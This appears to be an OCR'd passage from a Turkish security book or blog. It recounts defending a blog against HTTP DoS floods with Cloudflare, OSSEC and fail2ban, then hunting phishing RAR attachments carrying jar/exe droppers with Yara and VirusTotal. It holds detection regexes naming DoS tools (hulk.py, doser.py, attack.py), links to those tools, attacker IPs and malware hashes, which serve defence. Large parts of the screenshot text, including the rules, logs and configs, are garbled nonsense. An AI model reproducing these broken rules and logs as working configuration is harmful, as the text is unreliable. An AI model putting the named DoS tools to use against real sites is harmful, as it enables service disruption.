set_real_ip_from
set_real_ip_from
set_real_ip_from
set_real_ip_from
real_ip_from
_from
set_real_ip_from
set_real_ip_from
set_real_ip_from
set_real_ip_from
set_real_ip_from

set_rea]

set_real_ip_from
set_real_ip_from
set_real_ip_from
set_real_ip_from
set_real_ip_from
set_real_ip_from
set_real_ip_from
set_real_ip_from

103.21.244.0/22;
103.22.200.0/22;
103.31.4.0/22;
104.16.0.0/12;
108.162.192.0/18;
131.0.72.0/22;
141.101.64.0/18;
162.158.0.0/15;
172.64.0.0/13;
173.245.48.0/20;
188.114.96.0/20;

197.234.240.0/22;
198.41.128.0/17;
2400: =
2606:
2803:
2405:
2405:
2c0f:
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set_real_ip_from 190.93.240.0/20;

set_real_ip_from 2a06:

# use any of the following two
real_ip_header CF-Connecting-IP;
#real_ip_header X-Forwarded-For;

Threat sources

Web Traffic

i A ‘ Turkey

i e
sriloka

© Mapbox © OpenStreetMap Improve this map

Top Threat Countries Top Traffic Countries Top Crawlers / Bots

Last 24 hours Last 24 hours Last 24 hours
Country Requests Country Traffic Crawler/Bot Pages Crawled
Russian 9,306 Russian 154,857 Bing 133
Federation Federation
Yandex 104
Turkey 14 Turkey 13,242
Google 55
Ukraine 3 United States 4,406
applebot 13
Netherlands 1 France 672
Twitter 9
Help» India 338
Help»
Help»

Ben bu aragtirmalari yaparken bir yandan DoS saldiris1 devam
ettigi icin saldirillar1 durdurmak icin Cloudflare’in panelinden
Under Attack ozelligini aktif hale getirdim ve saldir1 aninda
etkisiz hale geldi. Akabinde saldir1 ile ilgili istatistiki bilgiler


https://support.cloudflare.com/hc/en-us/articles/200170076-What-does-I-m-Under-Attack-Mode-do-
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toplamak icin O6ncelikle komut satirindan ardindan da
SolarWinds‘in Loggly isimli web uygulamasindan faydalandim.
Loggly disinda cevrimdis: analiz icin de bir yandan Apache Logs
Viewer aracinin ¢iktilarini inceledim. Analiz sonucuna gore ~24
saatte bloguma yaklasik ~150.000 istek yapilmis ve bunlardan
~60.000 tanesi (502 HTTP Status) blogumu erisilemez hale

getirmisti.

2]o]sJajolelslajolrlof=]a]c+]a

Overview

Status: Active

T webece i e on Cloudiare

Domain Summary

@ zonerw:

) Caching Level: cancis

Development Made: 0tz

Subscription



https://www.solarwinds.com/
https://www.loggly.com/
https://www.apacheviewer.com/log-files/
https://www.apacheviewer.com/log-files/
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[ subscribe Now

Popular Log Sources
Programming Language

fmv\

Cloudtral

Cloudwatch Amazon Config
Metrics Logging

B

Soty: Q semen Lo

File upload
Advanced Options
@ step 1: Upload Your File

Youcsnsend upto 15 per i3m0 o v, The Al <houl e Ine seprate et s, s
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Troubleshooting

Uplosd

fietpes et g
P
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@ step 2:Verity
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g5 and they have been automaticaly parse

© Step 3: Next Steps.
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subscrbenow | i L mers @
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o

® AoplledFites: | apuchesistin:00% | OR  spachsatn

Q riea pore

snn, £ T ';, Tw‘z’i’;“; EJ;, 7 e el s e /vnu)m«(sw‘z SR B
S : e Eis

R - PR T —— 30
o
'Q e Dpoe — e -
.
1| Sor Ascendling + Expand Events | More Options = LB -

e T

File Edit Reports Statistics Graph _Help
¥ B B | = ] Open Access Log Options

Advanced Filter Dste: |-|| | Choose the log format Flease refer to the Webserver ion if unsure.

) Combined (Contains Browser and Referrer Information)
LogFormat "9 %I %u %t \'%er\" %>s5 %b \"We(Refererli\” \"%{User-Agent}i\"" combined

Comman (default)
LogFormat % %1 %u 6t \ e\ %5 %b" common

W3C [IIS - Microsoft Internet Information Services)

Other [ nginx

Custom

Read All file and update in real time.

Read only date range that falls with the below range.

[ Adjust time by 0,00 [=]| hours.

bae

[No Filter] Unlock iannet

Update Completed 18:04:17
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Flle Edit | Reports | Statistics Graph Help
Enable All Reperts ~ |IP Address: |+ F=- | All - | g ApplyFilter 3¢ | g~
Report Source: [Filtered Data] User Agent: |- | || Referer. - [ |

User Agent »

Sort - 4 5!.

Hits each Day Country Referer

Visits by Country

Browsers
Visits (Hits)

Visits (Unique Hits)
Hits per Hour

Hits per Minute
Hits Each

Visits per Hour
Bots

Requests

Traffic Sources

Geo Country Visits
Geo Country Vists (start date)

Search Visits
Spider Visits

Status Codes
Users.

Operating System

Bandwidth
File Types per Day
Referers per Day
i J v
Update Completed 18:0517 [0/40132] [No Filter] Unlock iannet

M 41 ofl ) M|« @@ |&E Q- Find | Next

e plorer 4560
[ g

B overs 00
R Firtoc 3528%
W crrame 8365

DoS saldiris1 ile ilgili olarak, erisim kayitlar1 (access.log)
izerinden elde ettigim bilgilere istinaden yapmis oldugum
aragtirmalar sonucunda birbirine benzeyen 3 farkli Python araci
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(hulk.py , doser.py , attack.py) dikkatimi ¢ekti. Bu araclarin kaynak
kodlar1 ile bloguma yapilan DoS saldirisim1 karsilastirdigimda,
gelen isteklerin POST istegi olmasi sebebiyle doser.py aract ile bu
saldirinin gerceklestirildigi fikri agir basmig oldu.



https://github.com/grafov/hulk/blob/master/hulk.py
https://github.com/Quitten/doser.py/blob/master/doser.py
https://github.com/firefoxbug/ddos/blob/master/attack.py
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Blogumun WordPress yonetici paneline de goz gezdirdigimde,
Aranilan Terimler kismindaki
i_love_brother This_is not_an_attack This is a_ test arama
terimi dikkatimi ¢ekti. Bu terim ile ilgili gondermis oldugum bir
tweete yapilan yorumda da oldugu gibi, blogumun DDoS
testlerinde akla ilk gelen blog olabilecegini de dikkate alarak
Cloudflare’in yo6netim paneli iizerinden Rusya ip adreslerini
engelledim.
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Mert SARICA @ ©@MertSARICA - 17 Tem v
‘ Sevginin de boylesi iste ;)

Dimensi v esit v Uygula

18-06-18 - 17-07-18 »

-

Aranilan Terimler <
(# Hacker avi

» X

# i_love_brother_This_is_not_an_attack_This_is_
a_test

# linux

# hack

o S sy e

Q1 T3 (WARE! il

) musa sana ': Takip et ;' v
= @musa_sana N

@MertSARICA adh kullaniciya yanit olarak

ddos testlerinde akla ilk gelen blog :)

22:08 - 17 Tem 2018

3 Begeni 3 ah .

17 Temmuz tarihinde yapilan kisa siireli benzer bir saldirida bu
defa kaynak IP adreslerini gorebildigim icin DoS saldirisinin
Fransa’da bulunan bir ip adresinden (51.254.122.14)
gerceklestirildigini gérdiim ve bu sefer de Fransa ip adreslerini
Cloudflare’in yonetim paneli iizerinden engelledim.

root@batcave: /var /Tog/nginx# grep "POST /7" access.log.1 | cut -d —F 1 T sort [ unig -1

51.254.122.14
root@batcave: /var/log/nginx# i
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€ C 0[O mummascom,
@ roktCra e [ Loimin W

R —

[ —

Access Rules

Firewall rules can be based on IP address,

IP address range, Autonomous System Number (ASN) or country.

Q  search Access Rules

Enter an IP, IP range, country name, or

H Block | = ‘ This website -

Add a note

=

Value

France (FR)
HTTP Flood Sebebiyle

51.254.122.14
HTTP Flood

Russian Federation (RU)
HTTP Flood Sebebiyle

Applies to

This website

This website

This website

Action

‘ Block : B x

23 Temmuz tarihinde yapilan yeni bir DoS saldirisinda bu defa
blogumun arama sayfasina c¢ok sayida i_love_you_brother

arama terimi gonderdildigini gérdiim. Bu defa kaynak IP adresini

(31.223.24.59) gorebildigim
baktigimda bu defa sald1r1n1n Turk1ye den yapildigini gordum

TrogTrioRs grep 1Taveyan sccers-Tag T Fead =
S0 30172050413 +0300] “CeT /7921 ove.yo bror) 200 34217 " worite/s 0 (o 7 613 spplevenice (AL, Tike Gecko) chrome/22.0.1216.0 safari

301/ 201 20:04:32 103001 Yoibrother w308 7 1 STV (N W &8 Apabat s h (mm Tike Seckoy chrse/es 0 Laviczg it
Sn/A0181001 133 10300) veoubrother 11 360 34513 - H2/310 (acintoshy Treet wac 05 % Pensbiic) 33519 e ecke) Cnvome,
ul 2088120104133 +0300) 2
BY3080i83 18388

icin IP adresinin kayit bilgilerine

855,11 sarar

irdors N7 6.0 YOnG4) AgpleNsbit/S35.19 (UL, 1ike Gecke) chrone/18.0.1025.45 Safari/s33.19°
3 6 O Apmeent a8 10 ikercsckol e Safar s 1
Macintosh; Thiel wac 05 & 16.5.2) AoplenaoXit) 537 11 (AL, 11ke Gecks) Chrome)25:0.4271.0 Safart

021112/5.0 (vacintoshi Intel wac 0s x 10.7.

5.2¢ (oamiL, Tike ecko) chrone/19.0.1055.1 safart

Applenebiit,

341/2018:20;04:35 +0300] *
2019:20:08:35 103001 Tt

i ]

200 14217 77 Tw02i112/5.0 Cuindous KT 6.2) Applewebiir, (i, ke Gecko) chrome/19.0.1061.1 safart/
<o erte/Aig Giniag W 6103 Bt hmalonelil SR b AR GOl S b B2:0. 10T S s
200 14217 1" ari113/3.0 (Windows NT 519 AppTenebiic 337 36 (KL, T1Ke Gecko) Chrome/35.0-2303.372 Safart/357. 36

Footabtcave: /var  log/ngies
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Bana olan sevgisini sele doniistiirme konusunda israrci olan bu
Rus kardesim ile sistematik olarak miicadele edebilmek ve benzer
durumlarla miicadele etmek durumunda kalanlara yol gosterme
adina ¢esitli araglardan faydalanmaya karar verdim.

Ik olarak gerceklestirilen genel DoS saldirilarindan hizlica
haberdar olabilmek i¢cin OSSEC HIDS yazilimin isletim sistemine
kurdum. Buna ilaveten bu saldiriy1 tespit edebilmek icin de 6zel
olarak bir kural hazirlayip bu kurali /var/ossec/rules/
http_dos_rules.xml adi altinda kaydettikten sonra kurali iceren
dosyayr da /var/ossec/etc/ossec.conf dosyasimna kaydettim.
ossec-logtest araci ile de kuralin diizgiin ¢alistigini kontrol ettikten
sonra OSSEC’i yeniden baslatip attack.py ile bloguma ufak bir DoS
saldiris1 gergeklestirdim. Saldir1 sonucunda OSSEC basariyla bu
saldirty1 tespit edip beni e-posta ile hemen uyardi.


https://www.ossec.net/
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<includescinseryer_ryles. xl</includes

nc e ckin rutes. A</ ine s
SnENE Spenbs-ahpdr i1es. xate/include>
ST e el O el

Laos_ries. <y el ude>

“EKquency that syscheck is exscuted - default every 20 hours >
renven TSt T eerest

<y irectortes o check(pertorn 11 amssivle verifications)
«Auuuv fes }uk ﬂv— ‘ /st /bin, Jusr febing /d frectories>

wrize ou where 15 cur Text wa B R Firse Line Mherexs next g wark Text Snderr Tex: Y undo
Reai'rile Replace Gneut Texe o BE e Next page Gsiine o Eracker Copy Toxe Unindent Textll Reco

- @(#) $1d: ./var/ossec/rules/http_dos_rules.xml, 2018/07/23 Mert SARICA Exp $

- HTTP DoS attacks/vulns specific rules for OSSEC.

- coqyrwght (c) 2012 paniel B. cid (dcid@dcid.me)
All rights reserved.

- This program is a free software; you can redistribute it

- and/or‘ modify it under the terms of the GNU General Public
- License (version 2) as published by the FSF - Free software
- Foundation.

- License details: http://www.ossec.net/en/1icensing. html
>

<!-- collection of rules for common web attacks that we are seeing in the wild
- The real goal is to stop bots and automated attacks from doing further damage
- on sites that are not updated
-->

<group name="web,appsec,attack”>

<!-- Checking POST & GET HTTP DoS Attack
-=>
<rule id="41501" Tevel="1">
<if_sid>31100</if_sid>
<match>GET |POST </match>
<regex>/7?\D+=\D+HTTP/1.1</regex>
?de%criptiun>PrUbab1y a non-malicious site search</description>
</rule>

<!-- If we see frequent /?VXVFII=FXSF HTTP/1.1 then it _is probably a HTTP DoS. -->
<rule id="41502" level="9" frequency="10" timeframe="20">
<if_matched_sid>41501</if_matched_sid>
<same_source_ip />
/<d$scr1‘pt1'on>Probab1y a HTTP Dos Attack (doser.py, attack.py or hulk.py)</description>
</rule>

<!-- checking GET_HTTP Dos Attack
<rule 1d="41503" Tevel="9
<if_sid>31100</if_sid>
<match>GET /?s=1_love_you_brother</match=>
<description=HTTP Dos Attack (i_love_you_brother)</description=
</rule>
-->

</group>
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= o e
T A R L A

HE A

Bk

0SSEC HIDS o x
G e ety
HTTPDoS Acack serpy

malgoogiecom

OSSEC Alert - batcave - Level 9 - Probably a HTTP DoS Attack (doser.py, attack.py or hulk.py) Inbox x [}

4 OSSEC HIDS <mertsarica@gmailcom>
tome ~

OSSEC HIDS Notification
2018 Jul 23 23:20:18

Received From: batcave->/varfloginginx/access log

Rule: 41502 fired (level 9) -> "Probably a HTTP DoS Attack (doser py. attack py or hulk py)"
st IP:

Portion of the log(s)

17 +0300] "GET /2FLEDNO: HTTP/1.17 200 19955

11:20PM (O minutes ago)  Y¥ 4

--[231

Windows NT 6.1; en: 1v:1.9.1.3) Gecko/20090824 Firefox/3 5.3 (NET CLR 35 30729)"
15 +0300] "GET

en-US; 19 1.1) Gecka/20090718 Firsou’35 1

NECW" "Mozilla/5.0 (Windows; U;

HTTP/.1" 200 19952 "http://engadget search.aol.com/search?q=JHYFEX" "Mozilla/5.0 (Windows; U; Windows NT 6.1;

- - [231ul12018:23:20:15 +0300] "GET /2ECO=NYNGERU HTTP/1.1" 200 19957 "http://engadget search ol com/search?q=JHYFEX" "Mozilla/5.0 (Windows; U; Windows NT 6.1;

en-US; 1v:1.9.1.1) Gecko/20090718 Firefox/35.1"

“Mozillal5.0 (Windows; U Windows NT 6.1;

-[23% 15 +0300] "GET HTTP/1.1" 200 19957 ' arch aol.
enUS; 191 1) Gecko/20090718 r.mnxu 51

0) "GET HTTP/A.1" 200 19955
MSIE 8.0; Wmdows NT 8.2 Win: 6 Tridend o

15 +0300] "GET HTTP/1.1" 200 19956 '

“Mozillal4.0 (compatible;

-~ (231
MSIE 8.0; Windows NT 5.2; Win4; x64; Trident/4.0)"

*“Mozillal4,0 (compatible;

113 40300) "GET /7ECH HTTP/1.1" 200 19955 ° a0l JHYFEX" "Mozilla/5.0 (Windows; U; Windows NT 6.1;
enUS: 191 1) Geckor20090718 Firefox/351°
- [2310uli2018:23:20:13 +0300] "GET /2GRFB=INLOWJKU HTTP/1.1" 200 19956 "http:/lwww. mertsarica com/HWEARASA™ "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;

w19.1.1) Geckor20090718 Firefo3 51"
0:13 +0300] "GET HTTP/1.1" 200 19954

WSIE 8.0, Windows NT 5.2, WinGs;x64; Trdentis oy
0:13 +0300] "GET

HTTP/1.1" 200 19957 '

JAOOBNE" "Mozilla/4.0 (compatible;

MSIE 8.0: Windows NT 5.2; Win4; x64; Trident/4 0)"
13 +0300] "GET. HTTP/1.1" 200 19957 '

JAOOBNE" "Mozilla/4.0 (compatible;

MSIE 8.0; Windows NT 5.2; Win4; x64; Trident/4.0)"

JAOOBNE" "Mozilla/4.0 (compatible;

- - [230ul12018:23:20:11 +0300] "GET /2GRFB=INLOWJKU HTTP/1.1" 200 19956 "hitp:/fwwny mertsarica comHWEARASA” "Mozilla5 0 (Windows; U: Windows NT 6.1; en-US;

1v:1.9.1.1) Gecko/20090718 Firefox/3.5.1

OSSEC HIDS ile benim sevgi dolu Rus kardesimin DoS saldirisini
tespit etmek yeterli olmayacag: icin fail2ban araci ile bu iki tiir
DoS saldirisini tespit eden 6zel bir kural yazip, bu yazida da
belirtildigi sekilde Cloudflare API‘si iizerinden saldirganmn ip
adresini yasaklayan betikten faydalandim. Hazirladigim kural


https://www.fail2ban.org/wiki/index.php/Main_Page
https://guides.wp-bullet.com/integrate-fail2ban-cloudflare-api-v4-guide/
https://api.cloudflare.com/#user-level-firewall-access-rule-create-access-rule
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kontrol etmek icin fail2ban-regex aracindan faydalandiktan
sonra attack.py ile bloguma saldirarak Cloudflare tarafindan ip
adresimin bagariyla yasaklandigimi gérdim ve Rus kardesimin

yeni saldirilar i¢in kedi fare oyunundaki yerimi saglamlastirdim.
o

GNU nano 2

[Definition]
# Probably a HTTP Dos Attack (doser. p

attack or hul
failregex = A<HOST> “\- .* \"(POST|GET). ~(/7[A—z

=[a-z]+ HTrP/l T NG

# HTTP DoS Attack (i_love_you_brother)
# A<HOST> \- .* \"(POST|GET).*(/?s=1_love_you_brother HTTP/1.1)\"

# HTTP DoS Attack {this_ 15 another_test)
# <HOST> \- .* \"(POST|GET).*(/?5=).%(_).*().*().* (HTTR/1.1)\"

# HTTP DoS Attack (x_y_z)
A<HOST> = . * \"(POST|GET).*(/?5=).*( ). *(_).* (HTTP/L.1)\" .+%

# HTTP Dos Attack (python- requests
A<HOST> {t \'python-requests/. *)\"+$

ignoreregex =

root@batcave: /var/log/nginx# fallzban-regex /var/log/nginx/access. log /etc/Tall2ban/T11ter.d/nginx-dos. cont

Running tests

use failregex fﬂter file : nginx-dos, basedir: /etc/failzban

Use og file : fvar/iog/nginx/access.log
Use encoding i UTE-

Results

Failregex: 6317 total

|- #) [# of hits] regular expressw

| 1) [2006] A<HOST> %\- .* “\"(POST|GET).*(/7[A-Z]+=[A-Z]+ HTTP/L.1)\"

| 2) [2311] A<HOST> N .= \"(POST|GET). *(/7s5=). *(_).*(_).* (HTTP/1. 1)\

Ignoreregex: 0 total
Date temp'\ate hi ts

|- [# of hits] date for
j [25807] Day("ngsew[ /])McN("L sep)year[ :]?24hour:Minute:second(?:\.Microseconds)?(?: zone offsetr)?

Lines: 25807 lines, O ignored, 6317 matched, 19490 missed [processed in 3.11 sec]
Missed Tine(s): too many to print. use —wr'mt all-missed to print all 19490 Tines
root@batcave: /var/log/nginx#

root@batcave:~# service fail2ban restart
root@batcave:~# taﬂ —f /var/log/failzban. log

i

2018-07-26 2. fa‘i'\zban.;aﬂ [12335]: INFO Jail 'nginx-dos’ uses pyinotify
2018-07-26 2 failzban.tilter [12335]: INFO set jail log file encodmg tTo UTF-8
2018-07-26 2 failzban. jail [12335]: 1INFO Initiated 'pyinotify’ backel
2018-07-26 2 failzban.Tilter [12335]: INFO Set maxRetr

2018-07-26 2 2 fail2ban.filter [12335]: INFO added Togfi

2018-07-26 2 failzban.filter [12335]: INFO set findtime

2018-07-26 2 failzban.actions [12335]: INFO set banTime = 6000

2018-07-26 2 failzban.filter [12335]: 1INFO set_jail log file encoding to UTF-8
2018-07-26 2 failzban. jail [12335]: INFO Jail 'sshd' started

2018-07-26 2 failzban.jail [12335]: INFO 1ail 'nginx-dos® started
2018-07-26 2 failzban.tilter [12335]: INFO [nginx-dos] Found

2018-07-26 2 failzban.filter [12335]: 1INFO [nginx-dos] Found

2018-07-26 2 failzban.filter [12335]: INFO [nginx-dos] Found

2018-07-26 2 failzban.filter [12335]: INFO [nginx-dos] Found

2018-07-26 21: failzban.filter [12335]: INFO [nginx-dos] Found
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[0 Access denied | wveme. X

< C 0 | @ Secure | https://www.mertsaricacom

@ Hock4Coreerlor [ LUnkedln W Mert SARICA (merts: M Inbox -

Error 1006 .. . o

What happened?

The owner of this website (www.mertsarica.com) has banned
your IP address ( )

Cloudflare Ray 1D: 4408£2cf9f909c3b - Your IP:

. 2018-07-26 18:32:21 UTC

+ Performance & security by Cloudflare

Bir sonraki yazida goériismek dilegiyle herkese giivenli giinler

dilerim.



5. Iz Pesinde

Daha 6nce bagka bir blog yazima daha konu olup sahte siparis e-
postalari ile hiz kesmeden siber operasyonlarina devam edenlerin
yillar iginde taktik, teknik ve prosediirlerini degistirdiklerini
gorebiliyoruz. Son aylarda oOzellikle sifreli RAR dosyalari
(Liste54.rar, Ofis_Belgesi.rar, siparis_listesi.doc.rar,
Siparisler.rar vb.) ile operasyonlarina devam edenlere kargi
disardan sifreli dosya kabul eden kurumlarin zor zamanlar
yasadiklarini tahmin etmesi gii¢ degil. Bunun en temel sebebi ise
sifreli RAR dosyas: icinde yer alan caligtirilabilir program (exe,
jar), ofis dosyasi (docx) giivenlik teknolojileri tarafindan analiz
edilemedigi icin son kullanicinin e-posta kutusuna iletiliyor ve
bilgi giivenligi farkindalig1 diigiik olan son kullanict ve kurum i¢in
biiyiik bir tehdit haline geliyor.
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https://www.mertsarica.com/java-kaynak-kodu-donustuculeri/
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Subject: meraba

From: corlupazarlama(@

corlupazarlamay
To:
Originating IP:
SMTP Relay:
Attachments: Siparislerrar (352 KB)

@ Use Google Translate™

15 adet Siparisimiz Bulunmaktadir..
Lutfen geri donus yapin ..

No engines detected thisfile (]

© o
© o
........ ® o
o o
© o
© o
o o
v © o arutes °
© o
© o
© o
® o
© o
o o

v @oces Asvbleseny © o
™ © o
s © o
w 0 @ows e o-

o P
Gamay © o
Comodo © o
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Belgesira
File Commands
= B

@ E@me @ 9 =

Add Bdract To  Test View Delete Find Wizard Info VirusScan Comment  Protect SFX.

Tools Favorites Options Help

- B4 Ofis_Belgesirar - solid RAR archive, unpacked size 266.082 bytes

Name Size Packed Type Modified Checksum RAR SIFREST : 5465
LB File folder
5 Listed6.docx * 266.082 263520 Microsoft Word D... 130620181334  F0622A28

docx [Compatibility Mo

Insert  Design Layout  References  Mailings  Review  View u Signin £ Share

- Calibri (Body) -1 - A A Aa- A IR ) B i
Bl alibri (Body) A o z AaBbCeDe| AaBbccDe AaBbC  AaBbCcl Ty
28 Replace
Paste ¢ B I U -axx X WA~ 5 - |TNomal | TNoSpac.. Headingl Hesding2 |5 ¢\
Clipboard ra Font ) Paragraph i Styles i) Editing ~

GORUNTU ONIZLEME MODUNDASINIZ.DUZENLEME MODUNA GEGMEK IGIN

AGMAK ISTEDIGINIZ DOKUMANI SEGINIZ.

[’E Rename Package B
OfficeDocuments
Filename:
C:\Users TESTER"AppData\ Local Temp'OfficeDocuments EXE
Label
OfficeDocuments EXE
=
alE) g
@ 1.+ Mett » AppData » Local » Temp b OfficeDocuments ~ [ 3| [ Search OfficeDocuments o]
Organize ~  Includeinlibrary »  Sharewith = New folder - b @
g Neme - Date maodified Type o
B Desktop 4] OfficeDocumentsyar 130620181328 Exccutable Jor File % KE
18 Downloads
‘5] Recent Places
- + %100

Double-click or dolll [ Libraries
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ListeT7 docx [Compatibility Mode] - Word RS X

Insert  Design Layout  References  Mailings  Review  View Q Tell mewhat you want to do... Signin £ Share

oy ¥ e A P Find -
(Body) ~ - - B 2
b | TR R ) £ 2L 9 | nagbceoe| msebeenc AaBbC AaBbCel - Repace
f MR
Fastel T Uk w-A- B == - TNormal | TNoSpac.. Headingl Heading2 [<| [y gohs
Clipboard Font I3 Paragraph = Styles 5 Editing ~
GORUNTU ONIZLEME MODUNDASINIZ.DUZENLEME MODUNA GEGMEK IGIN
AGMAK ISTEDIGINIZ DOKUMANI SEGINIZ.
L Crop
Belg=1
= &% cut
Bz Copy
Ty Paste Options:
A
Packager Shell Object Object » Activate Contents
Insert Caption. Rename Package
[ Borders and Shading... Conyert...
B Picture.
@, Hyperiink.. Rename Package =)
43 New Comment
Fiename:
C\Users\TESTER\AppData \Local\Temp\Belge T jar
Label
BelgeTjar
Double-click o double-tap to Activate Contents Package — i + %100

Bu gibi tehditlerle miicadele edebilme adina Yara ile Tehdit Avi
baslikli blog yazimda oldugu gibi Yara aracindan ve kurallarindan
faydalanabilirsiniz. Kendi yazdiginiz bir Yara kuralin,
kullandigimiz  herhangi bir giivenlik teknolojisinde devreye
almadan once hatali tespite (false-positive) karsi olabildigince
fazla ornek tizerinde caligtirmanizda, orneklerin her birini ayri
ayr1 analiz etmenizde fayda olacaktir. Bunun i¢in de VirusTotal‘in
ticretli (premium) servislerinden faydalanabilirsiniz.

Hem 06rneklere ulasmak hem de Yara kuralimzi test etmek i¢in
VirusTotal'lm  Retrohunt  ve  Intelligence servislerini
kullanabilirsiniz. Retrohunt ile hazirladiginiz bir Yara kuralini
terabaytlarca biiytik veri setleri tizerinde calistirarak 6rneklere
ulagsmak i¢in kullanabiliyorsunuz. Ornegin sifreli RAR olarak
gonderilen bir, iki 6rnegini ele alacak olursak, sifreyi ¢c6zmek i¢in
kullanilmas: gereken parolanin yine bu sifreli RAR dosyasinin
icinde yer aldigim VirusTotal Intelligence lizerinde yaptigimiz bir
arama gorebiliyoruz. Bu bilgiden yola ¢ikarak hazirladigimiz basit


https://www.mertsarica.com/yara-ile-tehdit-avi/
https://virustotal.github.io/yara/
https://www.virustotal.com/
https://support.virustotal.com/hc/en-us/articles/115003886005-Private-Services
https://www.virustotal.com/#/hunting-overview
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bir Yara kuralini Retrohunt sayesinde 100+ TB veri seti tizerinde,
9.5 GB/s hizla caligtirarak, yaklasik 3 saat iginde orneklere
ulagabiliyoruz.

/5 vt s < ws - e x
¢ 0 [Esme 7 ~ls O mo mA A :

a1t grar Semen s || @Seket~ | @ Dosmiosa~

e aeon 1 e
o s weosn o 1 ' e
® s s
E w 165 Aeosin et 2 PR
s von e
N Dogl» Tt ot s S Kol Gtk ot
/9 vestotmsigmee -+ x T wE - 8 x

e . . %6 O MmO MmAD :
n

O s

DFile information
Oldtfeston wConent Danales G Siemssions  QITW @ Conments

==
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v w - 8 x
c-co o %s O g mHa N
bkt et B Lt W onertcomets
P ron
Bog | Tftr 1 Contctus | Sevs Kol | @ Gl gt
Contactust
ww - 8 x
o %s O M Gma N
4 e e 1 e

| total

B Tt 8 Comact s 4,5

H retrohunt_results E3

1 rar sifresi:B8f907054bbebaaa9ad052895bad6a2faSbl3445c99ac4b494ee4b9leeaddbBl/subfile
rar_sifresi:S5aed0a621b3169d047c91lca326be54ab09591662dd9d977330a%cbdbTb796834
rar_sifresi:4al93dd711b119ea59fc6555439870b6950£2c4969025553ca3d905a8d0224b3
rar_sifresi:edbd2cd70c6a6c46649250dac0b682042490cd0119%a056cc7cf41539930125e3
rar_sifresi:4214993e15ef78b88e638déeced9bc5dde5ea358301bef4e23e59975a2lcd2c2e
rar_sifresi:7d4c3cl4d2ffba5830e54e£90d3d8038bb67£34al9%edcf0a32212fe04256c227
7 rar_sifresi:B4aelBbcfl9c60b3082367e0b4%9aa034981le5c4cebiB2bbe65cc60lebT22067a
8 rar sifresi:2941c98bfaB240£f197bddaZacacd06110£feb8b81d6dfl324b2e3a3c6365445e6

oW W R

Ornekleri teker teker indirip, sifresiz olarak VirusTotal’a geri
ytkledigimizde ¢ogu antiviriis yaziliminin bu 6rnekleri basariyla
tespit edebildigini gorebiliyoruz ancak zararli yazilimlar sifreli
olarak gonderildigi stirece giivenlik teknolojilerinde Yara kurali

kullanarak bunlari engellemek veya sifreli dosyalarin e-posta



iz Pesinde 75

sunucusu izerinde yasaklanmasini saglamak kurumlar igin en

etkili ¢oziimlerden biri haline geliyor.

). b mahwares | 49 [ Search malwares )
Organize Includeinlibrary v Sharewith = New folder -
T Name ’ Date modified Type Size
B Desktop | 42193dd711b119ea59c6555439870b695012c4969025553ca3d905... 15072018 13:03 File folder
18 Downloads 1| 5aed08621b3169d047 91 ca326be54ab09591662dc9d977330a9ch... 15,07 2018 13:04 File folder
1 Recent Places Tddc3cl4 2o lbb67134c19 N2 15072018 File folder
| 842e18bcf19c60b3082367e0b4922034981 e5cdcebf82b6eb5ccb0l. 1507.2018 13:04 File folder
4 Libraries J. 2941c98bfa82401197bdda2acacd06110febIb81 d6df1 324b2eTadc.. 15072018 13:05 File folder
[/ Documents 1. 4214893¢1 dde5 ea353301 bt .. 150720181 File folder
& Music ). edbd2ed 2042490001192 £4153.. 15072018 1:05 File folder
i) Pictures | Liste 15072018 13 File folder
B Videos 1 ListeSd 15.07.201813:09 File folder
1 ListesT 15072018 12:09 File folder
8 Computer Liste7? 15.07.201813:09 File folder
&, Local Disk (C) | Liste36 15072018 12:00 File folder
| SIPARIS_LISTES] 84 15072018 13 File folder =
€t Nebwork J\ SIPARIS_LISTESL 85 15.07.201813:09 File folder
|| 4al93dd711b119ea53fc65554 308700695012 c4969025553ca3d905. 1507.2018 12:19 File 172 kB
] Sacd0a62163169d047 91 ca326be54ab09591662dd3dIT7330adck,,  15.07.2018 1219 File 184 kB
[ Tdac3ctad2ffba lbb67134219 2N3eD... 150720181219 File 171K8
] 842618bcf1906003082367e0b492203498 1 €5 cebf82b6e65ceh0L..,  15.07.2018 1219 File m2K8
] 294198b1a82407197bdda2acacd06110fch9b] d6dfl 324b2edade..,  1507.2018 File 17368
] 4214893¢1! dde5 ea353301 bt .. 150720181219 File 16 k8
dbd2ed 20424901 4153.. 150720181219 File 1718
@5 Listedocx 10072018 1 Microsoft Word D 177 kB
ListeS4.docx 17.06.2018 23:10 Microsoft Word D, 150 kB
ListeS7 docx 17.06.2018 04 Microsoft Word D... 11K
Liste77.docx 17062018 14:21 Microsoft Word D, 139 k8
@5 Listes6.docx 13.06.2018 13:34 Microseft Werd D 260 KB i
SIPARIS_LISTES] 84.docx 18.06.2018 12:04 Microsoft Ward D... 139 kB E]
J 28 items
73] et g s - e x
€ 5 C O [8 Seae | MmOy 3z S 1S3 A 42 st ~xsome ma
© rocksCaneo B Uriin W et SRCArr M et orertoomts
ST Soumchorscana URL P ss,domain,or i s Qlm 0
@ 1 engines detected this file °
(i)
Descton Dot | ttons senmer | community
o A o . suoetender A Eoioieice
emston A ooor esan A toproicicn
eservonn ——— Fsears
o A Eisioieancens s
spersy A v o
Zonelarm. A HevrTons Ahvare @ e
negetzs © o -
Atbaba © ce e @ o
AL @ e st @ oo
sesecsty @ e @ o
o © o s © o
Babatle @ ce Baidy @ oo
Bav @ oo ATkt @ o=
comay o - e © o
Comodo @ ce ren @ ce L.
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(31 Vst R STvens x = O
oxsome maA

a s 0

27 engines detected this file °
Docx| e

> >

|

>

L

L
op

[J

uuuuuuuuuuu

Sadede gelecek olursam, kimi zaman kurumunuz i¢in yaptiginiz
binlerce dolarlik giivenlik teknolojileri yatirimlari, tehditleri tespit
etmekte yetersiz kalabilmektedir. Bu gibi durumlarda o6zellikle
biinyelerinde Siber Giivenlik Merkezi, SOC barindiran kurumlarin,
VirusTotal'in iicretli hizmetlerinden faydalanmalari, Yara kurali
yazabilecek yetkinlige sahip olmalar1 bu gibi basit ama etkili
saldirilarla miicadelede 6nemli bir rol oynayacaktur.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler
dilerim.



6. Java RAT

Art niyetli kisilerce Java programlama dili ile gelistirilmis zararl
yazilimlarin {ilkemizde uzun yillardan beri kullanildigini daha
onceki yazilarimi (Java Bayt Kod Hata Ayiklamasi ve Java Kaynak
Kodu Dontistiiciileri) okuyanlariniz muhakkak hatirlayacaklardir.
Her ne kadar Java, yorumlanan (interpreted) bir programlama
